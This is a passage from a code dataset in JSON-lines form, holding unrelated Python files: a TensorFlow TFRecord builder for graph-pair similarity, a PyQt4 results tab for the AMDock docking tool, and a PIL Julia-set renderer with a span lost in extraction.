tf.get_variable('w_2', [P, P], tf.float32, tf.truncated_normal_initializer(mean=0.0, stddev=0.1))\n # B_mu_5.append(tf.matmul(tf.reshape(tf.reduce_sum(mu_5, 0), (1, P)), w_2))\n B_mu_5 = tf.concat([B_mu_5,tf.matmul(tf.reshape(tf.reduce_sum(mu_5, 0), (1, P)), w_2)],0)\n\n return B_mu_5\n\ndef contrastive_loss(labels, distance):\n # tmp= y * tf.square(d)\n # #tmp= tf.mul(y,tf.square(d))\n # tmp2 = (1-y) * tf.square(tf.maximum((1 - d),0))\n # return tf.reduce_sum(tmp +tmp2)/B/2\n # print \"contrastive_loss\", y,\n loss = tf.to_float(tf.reduce_sum(tf.square(distance - labels)))\n return loss\n\n\ndef compute_accuracy(prediction, labels):\n accu = 0.0\n threshold = 0.5\n for i in range(len(prediction)):\n if labels[i][0] == 1:\n if prediction[i][0] > threshold:\n accu += 1.0\n else:\n if prediction[i][0] < threshold:\n accu += 1.0\n acc = accu / len(prediction)\n return acc\n\n\n# return labels[prediction.ravel() < 0.5].mean()\n# return tf.reduce_mean(labels[prediction.ravel() < 0.5])\n\ndef cal_distance(model1, model2):\n a_b = tf.reduce_sum(tf.reshape(tf.reduce_prod(tf.concat([tf.reshape(model1,(1,-1)),\n tf.reshape(model2,(1,-1))],0),0),(B,P)),1,keep_dims=True)\n a_norm = tf.sqrt(tf.reduce_sum(tf.square(model1),1,keep_dims=True))\n b_norm = tf.sqrt(tf.reduce_sum(tf.square(model2),1,keep_dims=True))\n distance = a_b/tf.reshape(tf.reduce_prod(tf.concat([tf.reshape(a_norm,(1,-1)),\n tf.reshape(b_norm,(1,-1))],0),0),(B,1))\n return distance\n\n\ndef next_batch(s,e,adj_matrix_train_1, adj_matrix_train_2, node_vector_train_1, node_vector_train_2, label_list_train):\n\n graph_1eft = adj_matrix_train_1[s:e]\n feature_1eft = node_vector_train_1[s:e]\n graph_right = adj_matrix_train_2[s: e]\n feature_right = node_vector_train_2[s:e]\n\n label = np.reshape(label_list_train[s:e], [B, 1])\n\n return graph_1eft, feature_1eft, graph_right, feature_right, label\n\n\n# ========================== the main function ========================\n# 1. load_dataset() load the train, valid, test csv file.\n# 2. load_all_data() load the origion data, including block info, cfg by networkx.\n# 3. construct_learning_dataset() combine the csv file and real data, construct training dataset.\n# =====================================================================\n# 1. load the train, valid, test csv file.\ndata_time = time.time()\ntrain_pair, train_label, valid_pair, valid_label, test_pair, test_label = load_dataset()\nprint (\"1. loading pairs list time\", time.time() - data_time, \"(s)\")\n\n# 2. load the origion data, including block info, cfg by networkx.\ngraph_time = time.time()\nuid_graph, feature_dict = load_all_data()\nprint (\"2. loading graph data time\", time.time() - graph_time, \"(s)\")\n\n# 3. construct training dataset.\ncons_time = time.time()\n\n# ======================= construct train data =====================\n#把图这种struct数据转化为向量输入\n#图转化后的vec(扁平化后),训练集的feature(扁平化后),训练集的feature的节点数长度列表,以及最大长度\ntrain_adj_matrix_1, train_adj_matrix_2, train_feature_map_1, train_feature_map_2, train_num1, train_num2, train_max \\\n = construct_learning_dataset(train_pair)\n# ========================== store in pickle ========================\nnode_list = np.linspace(train_max,train_max, len(train_label),dtype=int)\nwriter = tf.python_io.TFRecordWriter(TRAIN_TFRECORD)\nfor item1,item2,item3,item4,item5,item6, item7, item8 in itertools.izip(\n train_label, train_adj_matrix_1, train_adj_matrix_2, train_feature_map_1, train_feature_map_2,\n train_num1, train_num2, node_list):\n example = tf.train.Example(\n features = tf.train.Features(\n feature = {\n 'label':tf.train.Feature(int64_list = tf.train.Int64List(value=[item1])),\n 'adj_matrix_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item2])),\n 'adj_matrix_2': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item3])),\n 'feature_map_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item4])),\n 'feature_map_2': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item5])),\n 'num1':tf.train.Feature(int64_list = tf.train.Int64List(value=[item6])),\n 'num2':tf.train.Feature(int64_list = tf.train.Int64List(value=[item7])),\n 'max': tf.train.Feature(int64_list=tf.train.Int64List(value=[item8]))}))\n serialized = example.SerializeToString()\n writer.write(serialized)\nwriter.close()\n# ========================== clean memory ========================\n# del train_pair, train_adj_matrix_1,train_adj_matrix_2,train_feature_map_1,train_feature_map_2,train_max\n\n# ======================= construct valid data =====================\nvalid_adj_matrix_1, valid_adj_matrix_2, valid_feature_map_1, valid_feature_map_2, valid_num1, valid_num2, valid_max \\\n = construct_learning_dataset(valid_pair)\n# ========================== store in pickle ========================\nnode_list = np.linspace(valid_max,valid_max, len(valid_label),dtype=int)\nwriter = tf.python_io.TFRecordWriter(VALID_TFRECORD)\nfor item1,item2,item3,item4,item5,item6, item7, item8 in itertools.izip(\n valid_label, valid_adj_matrix_1, valid_adj_matrix_2, valid_feature_map_1, valid_feature_map_2,\n valid_num1, valid_num2, node_list):\n example = tf.train.Example(\n features = tf.train.Features(\n feature = {\n 'label':tf.train.Feature(int64_list = tf.train.Int64List(value=[item1])),\n 'adj_matrix_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item2])),\n 'adj_matrix_2': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item3])),\n 'feature_map_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item4])),\n 'feature_map_2': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item5])),\n 'num1':tf.train.Feature(int64_list = tf.train.Int64List(value=[item6])),\n 'num2':tf.train.Feature(int64_list = tf.train.Int64List(value=[item7])),\n 'max': tf.train.Feature(int64_list=tf.train.Int64List(value=[item8]))}))\n serialized = example.SerializeToString()\n writer.write(serialized)\nwriter.close()\n# ========================== clean memory ========================\n# del valid_pair, valid_adj_matrix_1,valid_adj_matrix_2,valid_feature_map_1,valid_feature_map_2,valid_max\n\n# ======================= construct test data =====================\ntest_adj_matrix_1, test_adj_matrix_2, test_feature_map_1, test_feature_map_2,test_num1, test_num2, test_max \\\n = construct_learning_dataset(test_pair)\n# ========================== store in pickle ========================\nnode_list = np.linspace(test_max,test_max, len(test_label),dtype=int)\nwriter = tf.python_io.TFRecordWriter(TEST_TFRECORD)\nfor item1,item2,item3,item4,item5,item6, item7, item8 in itertools.izip(\n test_label, test_adj_matrix_1, test_adj_matrix_2, test_feature_map_1, test_feature_map_2,\n test_num1, test_num2, node_list):\n example = tf.train.Example(\n features = tf.train.Features(\n feature = {\n 'label':tf.train.Feature(int64_list = tf.train.Int64List(value=[item1])),\n 'adj_matrix_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item2])),\n 'adj_matrix_2': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item3])),\n 'feature_map_1': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item4])),\n 'feature_map_2': tf.train.Feature(bytes_list=tf.train.BytesList(value=[item5])),\n 'num1':tf.train.Feature(int64_list = tf.train.Int64List(value=[item6])),\n 'num2':tf.train.Feature(int64_list = tf.train.Int64List(value=[item7])),\n 'max': tf.train.Feature(int64_list=tf.train.Int64List(value=[item8]))}))\n serialized = example.SerializeToString()\n writer.write(serialized)\nwriter.close()\n","sub_path":"py/toTFrecord_Genimi.py","file_name":"toTFrecord_Genimi.py","file_ext":"py","file_size_in_byte":23526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"141925619","text":"from PyQt4 import QtGui, QtCore\n# from graphics import Qt4MplCanvas\n# from matplotlib.backends.backend_qt4agg import NavigationToolbar2QT as NavigationToolbar\nimport os,Queue\nfrom command_runner import Worker\nfrom warning import reset_warning\nfrom variables import Variables\nfrom rfile_show import Result_File\n\n\n__version__ = \"1.0 For Windows and Linux\"\n\nclass Results(QtGui.QWidget):\n def __init__(self, parent = None):\n super(Results, self).__init__(parent)\n self.parent = parent\n self.setObjectName(\"result_tab\")\n\n self.rfile_show = Result_File(self)\n self.only_one = 0\n\n self.import_box = QtGui.QGroupBox(self)\n self.import_box.setGeometry(QtCore.QRect(5, 5, 890, 40))\n self.import_box.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.AlignLeft | QtCore.Qt.AlignVCenter)\n self.import_box.setObjectName(\"import_box\")\n self.import_box.setTitle(\"Import\")\n\n self.load_button = QtGui.QPushButton(self.import_box)\n self.load_button.setGeometry(QtCore.QRect(10, 15, 70, 22))\n self.load_button.setObjectName(\"load_button\")\n self.load_button.setText(\"Load Data\")\n\n self.import_text = QtGui.QLineEdit(self.import_box)\n self.import_text.setGeometry(QtCore.QRect(85, 15, 675, 22))\n self.import_text.setReadOnly(True)\n self.import_text.setObjectName(\"import_text\")\n self.import_text.setPlaceholderText('*.amdock')\n\n self.show_rfile = QtGui.QPushButton(self.import_box)\n self.show_rfile.setGeometry(QtCore.QRect(770, 15, 80, 22))\n self.show_rfile.setObjectName(\"show_rfile\")\n self.show_rfile.setText(\"Results File\")\n\n self.import_help = QtGui.QPushButton(self.import_box)\n self.import_help.setGeometry(QtCore.QRect(865, 11, 22, 22))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.import_help.setFont(font)\n self.import_help.setObjectName(\"import_help\")\n self.import_help.setText(\"?\")\n self.import_help.setToolTip(self.parent.tt.result_tt)\n\n self.data_box= QtGui.QGroupBox(self)\n self.data_box.setGeometry(QtCore.QRect(5, 45, 890, 493))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.data_box.setFont(font)\n self.data_box.setAlignment(QtCore.Qt.AlignCenter)\n self.data_box.setObjectName(\"data_box\")\n self.data_box.setTitle(\"Data Result\")\n\n self.prot_label = QtGui.QLabel(self.data_box)\n self.prot_label.setGeometry(QtCore.QRect(10,10,650,22))\n\n self.prot_labelB = QtGui.QLabel(self.data_box)\n self.prot_labelB.setGeometry(QtCore.QRect(10, 248, 650, 22))\n self.prot_labelB.hide()\n\n self.prot_label_sel = QtGui.QLabel(self)\n self.prot_label_sel.setGeometry(QtCore.QRect(92, 540, 80, 22))\n self.prot_label_sel.setAlignment(QtCore.Qt.AlignCenter)\n self.prot_label_sel.hide()\n\n self.prot_label_selB = QtGui.QLabel(self)\n self.prot_label_selB.setGeometry(QtCore.QRect(178, 540, 80, 22))\n self.prot_label_selB.setAlignment(QtCore.Qt.AlignCenter)\n self.prot_label_selB.hide()\n\n self.minus = QtGui.QLabel(self)\n self.minus.setGeometry(QtCore.QRect(170, 562, 20, 22))\n self.minus.setText('-')\n font = QtGui.QFont()\n font.setPointSize(14)\n font.setBold(True)\n self.minus.setFont(font)\n self.minus.hide()\n\n self.equal = QtGui.QLabel(self)\n self.equal.setGeometry(QtCore.QRect(240, 562, 20, 22))\n self.equal.setText('=')\n font = QtGui.QFont()\n font.setPointSize(14)\n font.setBold(True)\n self.equal.setFont(font)\n self.equal.hide()\n\n self.selectivity = QtGui.QLabel(self)\n self.selectivity.setGeometry(QtCore.QRect(10, 560, 100, 25))\n self.selectivity.setText('Selectivity: ')\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setBold(True)\n self.selectivity.setFont(font)\n self.selectivity.hide()\n\n self.selectivity_value_text = QtGui.QLabel(self)\n self.selectivity_value_text.setGeometry(QtCore.QRect(270, 560, 150, 25))\n font = QtGui.QFont()\n font.setPointSize(12)\n font.setBold(True)\n self.selectivity_value_text.setFont(font)\n self.selectivity_value_text.hide()\n\n self.sele1 = QtGui.QSpinBox(self)\n self.sele1.setGeometry(QtCore.QRect(120, 565, 40, 20))\n self.sele1.setRange(1,10)\n self.sele1.setObjectName('sele1')\n self.sele1.hide()\n\n self.sele2 = QtGui.QSpinBox(self)\n self.sele2.setGeometry(QtCore.QRect(190, 565, 40, 20))\n self.sele2.setRange(1, 10)\n self.sele2.setObjectName('sele2')\n self.sele2.hide()\n\n self.sele1.valueChanged.connect(lambda: self.select_row(self.sele1))\n self.sele2.valueChanged.connect(lambda: self.select_row(self.sele2))\n\n self.result_table = QtGui.QTableWidget(self.data_box)\n self.result_table.setGeometry(QtCore.QRect(10, 32, 870, 215))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.result_table.setFont(font)\n self.result_table.setObjectName(\"result_table\")\n self.result_table.setColumnCount(5)\n self.result_table.setHorizontalHeaderLabels(QtCore.QString(\"Pose;Binding Energy(kcal/mol);Estimated Ki;Ki Units;Ligand Efficiency\").split(\";\"))\n self.result_table.horizontalHeader().setDefaultSectionSize(174)\n self.result_table.horizontalHeader().setStretchLastSection(True)\n self.result_table.verticalHeader().setVisible(False)\n self.result_table.verticalHeader().setDefaultSectionSize(19)\n self.result_table.sortItems(0, QtCore.Qt.AscendingOrder)\n\n self.result_tableB = QtGui.QTableWidget(self.data_box)\n self.result_tableB.setGeometry(QtCore.QRect(10, 272, 870, 215))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.result_tableB.setFont(font)\n self.result_tableB.setObjectName(\"result_tableB\")\n self.result_tableB.setColumnCount(5)\n self.result_tableB.setHorizontalHeaderLabels(QtCore.QString(\"Pose;Binding Energy(kcal/mol);Estimated Ki;Ki Units;Ligand Efficiency\").split(\";\"))\n self.result_tableB.horizontalHeader().setDefaultSectionSize(174)\n self.result_tableB.horizontalHeader().setStretchLastSection(True)\n self.result_tableB.verticalHeader().setVisible(False)\n self.result_tableB.verticalHeader().setDefaultSectionSize(19)\n self.result_tableB.sortItems(0, QtCore.Qt.AscendingOrder)\n self.result_tableB.hide()\n\n self.best_button = QtGui.QPushButton(self)\n self.best_button.setGeometry(QtCore.QRect(25, 565, 140, 25))\n self.best_button.setObjectName(\"best_button\")\n self.best_button.setText(\"Show Best Pose\")\n self.best_button.setFont(font)\n self.best_button.setEnabled(False)\n\n self.best_buttonB = QtGui.QPushButton(self)\n self.best_buttonB.setGeometry(QtCore.QRect(570, 545, 140, 25))\n self.best_buttonB.setObjectName(\"best_buttonB\")\n self.best_buttonB.setText(\"Best Pose + Off-Target\")\n self.best_buttonB.setFont(font)\n self.best_buttonB.hide()\n\n self.all_button = QtGui.QPushButton(self)\n self.all_button.setGeometry(QtCore.QRect(175, 565, 140, 25))\n self.all_button.setObjectName(\"all_button\")\n self.all_button.setText(\"Show All Poses\")\n self.all_button.setFont(font)\n self.all_button.setEnabled(False)\n\n self.all_buttonB = QtGui.QPushButton(self)\n self.all_buttonB.setGeometry(QtCore.QRect(570, 575, 140, 25))\n self.all_buttonB.setObjectName(\"all_buttonB\")\n self.all_buttonB.setText(\"All Poses + Off-Target\")\n self.all_buttonB.setFont(font)\n self.all_buttonB.hide()\n\n self.show_complex = QtGui.QPushButton(self)\n self.show_complex.setGeometry(QtCore.QRect(25, 565, 140, 25))\n self.show_complex.setObjectName(\"show_complex\")\n self.show_complex.setText(\"Show Complex\")\n self.show_complex.setFont(font)\n # self.show_complex.setEnabled(False)\n self.show_complex.hide()\n\n self.new_button = QtGui.QPushButton(self)\n self.new_button.setGeometry(QtCore.QRect(780, 560, 110, 35))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.new_button.setFont(font)\n self.new_button.setObjectName(\"new_button\")\n self.new_button.setText(\"New Project\")\n self.new_button.setIcon(QtGui.QIcon(QtGui.QPixmap(self.parent.objects.new_icon)))\n\n self.current_pose = self.sele1.value()\n self.current_poseB =self.sele2.value()\n\n self.new_button.clicked.connect(lambda: self.new_project(self.new_button))\n # load button\n self.load_button.clicked.connect(lambda: self.parent.program_body.load_file(self.load_button))\n self.best_button.clicked.connect(lambda :self.show_best(self.best_button))\n self.all_button.clicked.connect(lambda :self.show_all(self.all_button))\n self.best_buttonB.clicked.connect(lambda :self.show_best(self.best_buttonB))\n self.all_buttonB.clicked.connect(lambda :self.show_all(self.all_buttonB))\n self.show_complex.clicked.connect(self._show_complex)\n\n self.show_rfile.clicked.connect(self.show_result_file)\n\n def show_result_file(self):\n if self.parent.v.amdock_file is not None:\n if self.only_one == 0:\n self.rfile_show.show()\n self.only_one = 1\n self.rfile_show.lineEdit.setText(self.parent.v.project_name)\n self.rfile_show.lineEdit_2.setText(os.path.normpath(self.parent.v.WDIR))\n self.rfile_show.lineEdit_3.setText(self.parent.v.docking_program)\n self.rfile_show.lineEdit_4.setText(self.parent.v.ligand_name)\n self.rfile_show.lineEdit_5.setText(self.parent.v.protein_name)\n self.rfile_show.lineEdit_6.setText(str(self.parent.v.ligands))\n self.rfile_show.lineEdit_7.setText(str(self.parent.v.metals))\n self.rfile_show.lineEdit_8.setText(self.parent.v.result_file)\n self.rfile_show.lineEdit_9.setText(self.parent.v.best_result_file)\n self.rfile_show.mode_label.setText(self.parent.v.program_mode)\n if self.parent.v.analog_protein_name != 'protein B':\n self.rfile_show.lineEdit_10.setText(str(self.parent.v.analog_protein_name))\n self.rfile_show.lineEdit_11.setText(str(self.parent.v.analog_ligands))\n self.rfile_show.lineEdit_12.setText(str(self.parent.v.analog_metals))\n self.rfile_show.lineEdit_13.setText(str(self.parent.v.analog_result_file))\n self.rfile_show.lineEdit_14.setText(str(self.parent.v.best_analog_result_file))\n\n\n else:\n QtGui.QMessageBox.information(self, 'Information','The amdock file is not defined yet. Please define amdock file.',QtGui.QMessageBox.Ok)\n def new_project(self, r):\n reset_opt = reset_warning(self)\n if reset_opt == QtGui.QMessageBox.Yes:\n self.parent.statusbar.showMessage(\"Version: %s\" % __version__)\n self.parent.windows.setTabEnabled(0, True)\n self.parent.windows.setCurrentIndex(0)\n self.parent.windows.setTabEnabled(2, False)\n self.parent.program_body.project_text.setEnabled(True)\n self.parent.program_body.wdir_button.setEnabled(True)\n self.parent.program_body.project_text.clear()\n self.parent.program_body.project_box.setEnabled(True)\n self.parent.program_body.wdir_text.clear()\n self.parent.program_body.input_box.setEnabled(False)\n self.parent.program_body.protein_text.clear()\n self.parent.program_body.protein_label.clear()\n self.parent.program_body.protein_textB.clear()\n self.parent.program_body.protein_labelB.clear()\n self.parent.program_body.ligand_text.clear()\n self.parent.program_body.ligand_label.clear()\n self.parent.program_body.grid_box.setEnabled(False)\n self.parent.program_body.grid_auto.setChecked(True)\n self.parent.program_body.btnA_auto.setChecked(True)\n self.parent.program_body.btnB_auto.setChecked(True)\n self.parent.program_body.progressBar.setValue(0)\n self.parent.program_body.run_button.setEnabled(False)\n self.parent.program_body.stop_button.setEnabled(False)\n self.parent.program_body.reset_button.setEnabled(True)\n self.parent.program_body.bind_site_button.setEnabled(True)\n self.parent.program_body.non_ligand.hide()\n self.parent.program_body.non_ligandB.hide()\n self.parent.program_body.simple_docking.setChecked(True)\n self.parent.program_body.run_scoring.hide()\n self.parent.program_body.non_button.hide()\n self.all_button.show()\n self.best_button.show()\n self.show_complex.hide()\n try:self.parent.output2file.conclude()\n except:pass\n try:os.chdir(self.parent.v.loc_project)\n except:pass\n\n self.parent.v = Variables()\n self.parent.configuration_tab.initial_config()\n self.clear_result_tab()\n try:self.bestw.__del__()\n except: pass\n try:self.bestwB.__del__()\n except: pass\n try:self.allw.__del__()\n except: pass\n try:self.allwB.__del__()\n except: pass\n try:self.complexw.__del__()\n except: pass\n\n self.parent.program_body.grid_icon.hide()\n self.parent.program_body.grid_iconB.hide()\n self.parent.program_body.grid_icon_ok.hide()\n self.parent.program_body.grid_icon_okB.hide()\n self.parent.program_body.checker_icon.hide()\n self.parent.program_body.checker_iconB.hide()\n self.parent.program_body.checker_icon_ok.hide()\n self.parent.program_body.checker_icon_okB.hide()\n self.parent.program_body.lig_list.clear()\n self.parent.program_body.lig_list.hide()\n self.parent.program_body.lig_listB.clear()\n self.parent.program_body.lig_listB.hide()\n\n def clear_result_tab(self):\n self.import_text.clear()\n self.result_table.clear()\n self.result_table.setRowCount(0)\n self.result_tableB.clear()\n self.result_tableB.hide()\n self.selectivity.hide()\n self.sele1.hide()\n self.sele2.hide()\n self.minus.hide()\n self.equal.hide()\n self.import_text.clear()\n self.load_button.setEnabled(True)\n self.selectivity_value_text.hide()\n self.prot_label_sel.hide()\n self.prot_label_selB.hide()\n self.prot_labelB.hide()\n self.best_button.setGeometry(QtCore.QRect(25, 565, 140, 25))\n self.all_button.setGeometry(QtCore.QRect(175, 565, 140, 25))\n self.best_button.setText('Show Best Pose')\n self.all_button.setText('Show All Poses')\n self.best_buttonB.hide()\n self.all_buttonB.hide()\n self.best_button.setEnabled(False)\n self.all_button.setEnabled(False)\n self.show_complex.hide()\n self.best_button.show()\n self.all_button.show()\n self.result_table.setHorizontalHeaderLabels(QtCore.QString(\"Pose;Binding Energy(kcal/mol);Estimated Ki;Ki Units;Ligand Efficiency\").split(\";\"))\n self.result_tableB.setHorizontalHeaderLabels(QtCore.QString(\"Pose;Binding Energy(kcal/mol);Estimated Ki;Ki Units;Ligand Efficiency\").split(\";\"))\n def show_best(self,b):\n if b.objectName() == 'best_button':\n if self.parent.v.docking_program == 'AutoDock Vina':\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.result_dir, 'best_pose_target_ADV_result.pdb'), self.parent.ws.lig_site_pymol]\n else:\n visual_arg = [self.parent.ws.pymol,os.path.join(self.parent.v.result_dir, 'best_pose_target_AD4_result.pdb'), self.parent.ws.lig_site_pymol]\n self.best_pymol = {'Pymol': [self.parent.ws.this_python, visual_arg]}\n self.bestw = Worker()\n self.bestw.readyReadStandardOutput.connect(self.parent.program_body.readStdOutput)\n self.bestw.readyReadStandardError.connect(self.parent.program_body.readStdError)\n self.bestw.prog_started.connect(self.parent.program_body.prog_show)\n self.bestw.queue_finished.connect(self.parent.program_body.check_queue)\n self.bestq = Queue.Queue()\n self.bestq.put(self.best_pymol)\n self.bestw.init(self.bestq, 'Visualization')\n self.bestw.start_process()\n\n else:\n if self.parent.v.docking_program == 'AutoDock Vina':\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.result_dir, 'best_pose_control_ADV_result.pdb'),self.parent.ws.lig_site_pymol]\n else:\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.result_dir, 'best_pose_control_AD4_result.pdb'),self.parent.ws.lig_site_pymol]\n self.best_pymolB = {'Pymol': [self.parent.ws.this_python, visual_arg]}\n self.bestwB = Worker()\n self.bestwB.readyReadStandardOutput.connect(self.parent.program_body.readStdOutput)\n self.bestwB.readyReadStandardError.connect(self.parent.program_body.readStdError)\n self.bestwB.prog_started.connect(self.parent.program_body.prog_show)\n self.bestwB.queue_finished.connect(self.parent.program_body.check_queue)\n self.bestqB = Queue.Queue()\n self.bestqB.put(self.best_pymolB)\n self.bestwB.init(self.bestqB, 'Visualization')\n self.bestwB.start_process()\n def show_all(self,b):\n if b.objectName() == 'all_button':\n if self.parent.v.docking_program == 'AutoDock Vina':\n visual_arg=[self.parent.ws.pymol,os.path.join(self.parent.v.input_dir,self.parent.v.protein_pdbqt),os.path.join(self.parent.v.result_dir,'all_poses_target_ADV_result.pdb'),\n self.parent.ws.protein_cartoon_pymol]\n else:\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.input_dir,self.parent.v.protein_pdbqt),os.path.join(self.parent.v.result_dir, 'all_poses_target_AD4_result.pdb'),\n self.parent.ws.protein_cartoon_pymol]\n self.all_pymol = {'Pymol': [self.parent.ws.this_python, visual_arg]}\n self.allw = Worker()\n self.allw.readyReadStandardOutput.connect(self.parent.program_body.readStdOutput)\n self.allw.readyReadStandardError.connect(self.parent.program_body.readStdError)\n self.allw.prog_started.connect(self.parent.program_body.prog_show)\n self.allw.queue_finished.connect(self.parent.program_body.check_queue)\n self.allq = Queue.Queue()\n self.allq.put(self.all_pymol)\n self.allw.init(self.allq, 'Visualization')\n self.allw.start_process()\n else:\n if self.parent.v.docking_program == 'AutoDock Vina':\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.input_dir,self.parent.v.analog_protein_pdbqt),os.path.join(self.parent.v.result_dir, 'all_poses_control_ADV_result.pdb'),self.parent.ws.protein_cartoon_pymol]\n else:\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.input_dir,self.parent.v.analog_protein_pdbqt),os.path.join(self.parent.v.result_dir, 'all_poses_control_AD4_result.pdb'),self.parent.ws.protein_cartoon_pymol]\n self.all_pymolB = {'Pymol': [self.parent.ws.this_python, visual_arg]}\n self.allwB = Worker()\n self.allwB.readyReadStandardOutput.connect(self.parent.program_body.readStdOutput)\n self.allwB.readyReadStandardError.connect(self.parent.program_body.readStdError)\n self.allwB.prog_started.connect(self.parent.program_body.prog_show)\n self.allwB.queue_finished.connect(self.parent.program_body.check_queue)\n self.allqB = Queue.Queue()\n self.allqB.put(self.all_pymolB)\n self.allwB.init(self.allqB, 'Visualization')\n self.allwB.start_process()\n def _show_complex(self):\n visual_arg = [self.parent.ws.pymol, os.path.join(self.parent.v.input_dir,self.parent.v.protein_pdbqt),os.path.join(self.parent.v.input_dir,self.parent.v.ligand_pdbqt),self.parent.ws.protein_cartoon_pymol]\n self.complex_pymol = {'Pymol': [self.parent.ws.this_python, visual_arg]}\n self.complexw = Worker()\n self.complexw.readyReadStandardOutput.connect(self.parent.program_body.readStdOutput)\n self.complexw.readyReadStandardError.connect(self.parent.program_body.readStdError)\n self.complexw.prog_started.connect(self.parent.program_body.prog_show)\n self.complexw.queue_finished.connect(self.parent.program_body.check_queue)\n self.complexq = Queue.Queue()\n self.complexq.put(self.complex_pymol)\n self.complexw.init(self.complexq, 'Visualization')\n self.complexw.start_process()\n def select_row(self,sele):\n if sele.objectName() == 'sele1':\n self.result_table.item(self.current_pose-1,1).setBackgroundColor(QtGui.QColor('white'))\n self.current_pose = sele.value()\n self.result_table.item(self.current_pose-1, 1).setBackgroundColor(QtGui.QColor('darkGray'))\n self.value1 = float(self.result_table.item(self.current_pose-1, 1).text())\n else:\n self.result_tableB.item(self.current_poseB - 1, 1).setBackgroundColor(QtGui.QColor('white'))\n self.current_poseB = sele.value()\n self.result_tableB.item(self.current_poseB - 1, 1).setBackgroundColor(QtGui.QColor('darkGray'))\n self.value2 = float(self.result_tableB.item(self.current_poseB - 1, 1).text())\n self.selectivity_value = self.value1 - self.value2\n self.selectivity_value_text.setText('%s kcal/mol'%self.selectivity_value)\n\n","sub_path":"Lib/site-packages/AMDock/result_tab.py","file_name":"result_tab.py","file_ext":"py","file_size_in_byte":22257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"584044962","text":"'''\nRequires PIL library to run , use pip to install\nto run navigate to file location and \ntype: python julia_render.py [path to input file] [output image name] [width] [height] [max iterations]\nExpected file type should have following for each line (also assumes that (0,0) is at top left corner)\nx_cord y_cord iteration \n'''\nimport sys\nfrom PIL import Image\nimport colorsys\ndef colorer_black_wihte(iterations,max_interations):\n\tif iterations == max_interations:\n\t\treturn (0,0,0)#black\n\treturn (255,255,255)\n\ndef colorer_xmas_color(iterations,max_interations):\n\tstep=(int)(max_interations/5)\n\tif iterations <= step*0:\n\t\treturn (4,2,150)#blue\n\telif iterations <= step*2:\n\t\treturn (161,25,10)#red\n\telif iterations <= step*3:\n\t\treturn (137,156,163)#silver\n\telif iterations <= step*4:\n\t\treturn (140,126,55)#gold\n\telif iterations <= step*5:\n\t\treturn (7,125,45)#green\n\treturn (4,2,150)\n\ndef colorer_blue_green(iterations,max_interations):\n\tstep=(int)(max_interations/5)\n\tif iterations <= step*0:\n\t\treturn (47,79,79)\n\telif iterations <= step*2:\n\t\treturn (0,128,128)\n\telif iterations <= step*3:\n\t\treturn (0,139,139)\n\telif iterations <= step*4:\n\t\treturn (0,255,255)\n\telif iterations <= step*5:\n\t\treturn (0,206,209)\n\telif iterations <= step*6:\n\t\treturn (64,224,208)\n\telif iterations <= step*7:\n\t\treturn (72,209,204)\n\telif iterations <= step*8:\n\t\treturn (32,178,170)\n\telif iterations <= step*9:\n\t\treturn (224,255,255)\n\n\treturn (4,2,150)\n\ndef colorer_green_grade(iterations,max_interations):\n\tstep=(int)(250/max_interations)\n\treturn (148,iterations*step,230)\ndef colorer_red_grade(iterations,max_interations):\n\tstep=(int)(250/max_interations)\n\treturn (iterations*step,150,230)\n\ndef colorer_blue_grade(iterations,max_interations):\n\tstep=(int)(250/max_interations)\n\treturn (150,230,iterations*step)\n\ndef hsv2rgb(h,s,v):\n\t#helper function\n\t#use this one to get results similar to text book\n return tuple(round(i * 255) for i in colorsys.hsv_to_rgb(h,s,v))\n\ndef colorer_hsv(iterations,max_interations):\n\t#set hue, saturation and value\n\t#use this one to get results similar to text book\n\ts=255\n\th=int(255*iterations/max_interations)\n\n\tv = 255 if iterations5:\n\t\tmax_interations = int(sys.argv[5])\n\n\timg = Image.new( 'RGB', (width,height), \"black\") # Create a new black image\n\tpixels = img.load() # Create the pixel map\n\tfile_in =open(in_file_path,\"r\")\n\twork=height*width\n\twork_done=0\n\t#print(max_interations)\n\tfor line in file_in:\n\t\t#get coordinates and number of iterations before escape\n\t\tline_arguments = line.strip().split()\n\t\ti=int(line_arguments[0])\n\t\tj=int(line_arguments[1])\n\t\titerations=int(line_arguments[2])\n\n\t\t# color each pixel based of iterations before escape use one of the colorer functions from above\n\t\tpixels[j,i]=colorer_hsv(iterations,max_interations) # change colorer function (choose from one above) to get different results \n\t\t#pixels[j,i]=colorer_blue_green(iterations,max_interations)\n\t\twork_done+=1\n\t\tper=work_done/work*100;\n\n\t\tif(per%5==0):\n\t\t\tprint(per,\"%\")\n\n\timg.show()\n\timg.save(out_file_path+\".bmp\")\n\nmain()\n\n\n","sub_path":"Parallel programing – Julia sets/julia_render.py","file_name":"julia_render.py","file_ext":"py","file_size_in_byte":3284,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585719792","text":"import requests\nimport argparse\nimport logging\nimport threading\nimport shutil\nimport logging.handlers\nimport time\nimport sys\nimport os\nimport os.path\nimport io\nimport copy\nimport glob\nfrom lxml import etree\nimport sesamclient\nimport 